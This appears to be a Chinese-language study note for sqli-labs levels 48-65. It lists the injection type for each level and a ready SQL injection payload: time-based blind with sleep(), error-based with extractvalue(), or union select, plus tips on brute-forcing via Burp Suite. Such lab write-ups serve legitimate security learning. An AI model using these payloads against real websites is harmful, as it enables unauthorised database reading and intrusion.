sqllab第48-65关通关笔记

48关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)=1
    • 利用bp抓包放到爆破模块中进行爆破
49关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1'%20and%20if((mid(database(),1,1)=%27a%27),sleep(3),0)='1
    • 利用bp抓包放到爆破模块中进行爆破
50关知识点:
  • 数值型注入
  • 报错注入
    • payload:sort=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
  • 时间盲注
51关知识点:
  • 字符型注入
  • 报错注入
    • payload:sort=1%27and%20extractvalue(1,concat(0x7e,database(),0x7e))=%27
52关知识点:
  • 数值型注入
  • 时间盲注
    • payload:sort=1%20and%20if((mid(database(),1,1)=%27a%27),sleep(1),0)
    • 通过bp进行爆破处数据库信息
53关知识点:
  • 字符型注入
  • 时间盲注
    • payload:sort=1%27and%20if((mid(database(),1,1)=%27s%27),sleep(1),0)=%271
    • 通过bp进行爆破
54关知识点:
  • 字符型注入
    • 单纯的单引号闭合
  • 联合注入
    • payload:id=0%27%20union%20select%201,database(),3%20%27
    • 获取数据库名后可以尝试获取表名、字段名和数据(5次以内就能找到密钥)
55关知识点:
  • 数值型注入
    • 括号闭合 (id)
  • 联合注入
    • payload:id=0)%20union%20select%201,database(),3%20--+
    • 获取数据库名后可以尝试获取表名、字段名和数据信息
56关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 联合注入
    • payload:id=0%27)union%20select%201,database(),3%20--+
    • 同上
57关知识点:
  • 字符型注入
    • 双引号闭合
  • 联合注入
    • payload:id=0"%20union%20select%201,database(),3%20"
    • 同上
58关知识点:
  • 字符型注入
    • 单引号闭合
  • 报错注入
    • payload:id=1%27 and extractvalue(1,concat(0x7e,database(),0x7e))=1 --+
    • 接着可以进行表名、字段名、数据信息的读取
59关知识点:
  • 数值型注入
  • 报错注入
    • payload:id=1%20and%20extractvalue(1,concat(0x7e,database(),0x7e))
60关知识点:
  • 字符型注入
    • 双引号+括号注入
  • 报错注入
    • payload:id=1")%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
61关知识点:
  • 字符型注入
    • 单引号+双括号闭合
  • 报错注入
    • payload:id=1%27))%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
62关知识点:
  • 字符型注入
    • 单引号+括号闭合
  • 时间盲注
    • payload:id=1%27)%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+
    • 如果爆破的话把sleep()时间设久一点儿,方便过滤
63关知识点:
  • 字符型注入
    • 单引号闭合
  • 时间盲注
    • payload:id=1%27%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0--+
    • 同上
64关知识点:
  • 数值型注入
  • 时间盲注
    • payload:id=1%20and%20if((mid(database(),1,1)=%27c%27),sleep(2),0)=0%20
65关知识点:
  • 字符型注入
    • 双引号+括号闭合
  • 时间盲注
    • payload:id=1")%20and%20if((mid(database(),1,1)=%27c%27),sleep(1),0)=0%20--+

10

相关推荐
贝塔实验室1 小时前
两种常用的抗单粒子翻转动态刷新方法
论文阅读·经验分享·笔记·科技·学习·程序人生·fpga开发
范纹杉想快点毕业8 小时前
ZYNQ PS 端 UART 接收数据数据帧(初学者友好版)嵌入式编程 C语言 c++ 软件开发
c语言·笔记·stm32·单片机·嵌入式硬件·mcu·51单片机
茯苓gao10 小时前
STM32G4 电流环闭环
笔记·stm32·单片机·嵌入式硬件·学习
easy202010 小时前
机器学习的本质:从跑模型到真正解决问题
笔记·学习·机器学习
汇能感知11 小时前
摄像头模组在智能家居设备中的应用
经验分享·笔记·科技
shizidushu12 小时前
Graph RAG论文阅读笔记
论文阅读·笔记·graphrag
0_0梅伊阁诗人14 小时前
Django ORM 模型
开发语言·数据库·笔记·python·oracle·django
m0_5782678614 小时前
从零开始的python学习(九)P142+P143+P144+P145+P146
笔记·python·学习
easy202016 小时前
Kaggle项目实践——Titanic: Machine Learning from Disaster
笔记·学习·机器学习
The_Second_Coming17 小时前
容器应用学习笔记:containerd 篇
运维·笔记·学习·容器·containerd